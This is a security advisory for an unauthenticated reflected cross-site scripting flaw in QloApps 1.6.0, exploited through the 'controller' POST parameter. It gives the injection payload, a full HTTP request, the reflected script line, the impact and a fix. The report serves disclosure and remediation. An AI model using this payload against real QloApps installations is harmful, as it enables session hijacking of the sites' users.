Affected Version: QloApps 1.6.0

Product Link: https://github.com/webkul/hotelcommerce

Security Issue:

(Unauthenticated) - Cross site scripting via controller parameter

URL: <http://localhost/hotelcommerce/index.php?rand=>
Parameter: controller
Method: POST
Payload: '-alert(91234)-'

URL encoded POST input controller was set to change-currency9405'-alert(91234)-'

The input is reflected inside a <script> tag between single quotes.

Vulnerability Description:

Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

HTTP Request:

POST /hotelcommerce/index.php?rand= HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: <http://localhost/hotelcommerce/>
Cookie: PrestaShop-daf117f818c8eeecfa2bccccdd849a8c=def50200cef11e06626918c7fa7a124565908dfceaf8130593f3ef4abbab5fe76b0a0bed50b7875304006db7b8207af688cfa110f816226d7b41f0d48ede29bc5ee160914f6a1f3e8ec5270b6eca69b976babee7d70550205de1df32960a47a32177667951ab94b93dd8ba4c142680c265492094887cbf1374f59320874cce9c8437edbac2240ddbeed4ee3b125f0bb267bd55a4c9e9e85acfa6c9c361c379f535415f66dd135ad41f2e583069dc9948f6b02c5b5bb345b2bc48a5135950c30295f438648b135e3cde838720b6d9
Content-Length: 59
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Host: localhost
Connection: Keep-alive

controller=change-currency9405'-alert(91234)-'&id_currency=

HTTP Response:

Redacted*
var currentPage = 'change-currency9405'-alert(91234)-'';

Screenshot:

xss1.PNG

xss2.PNG

The impact of this vulnerability:

Malicious JavaScript has access to all the same objects as the rest of the web page, including access to cookies and local storage, which are often used to store session tokens. If an attacker can obtain a user's session cookie, they can then impersonate that user.

How to fix this vulnerability:

Apply context-dependent encoding and/or validation to user input rendered on a page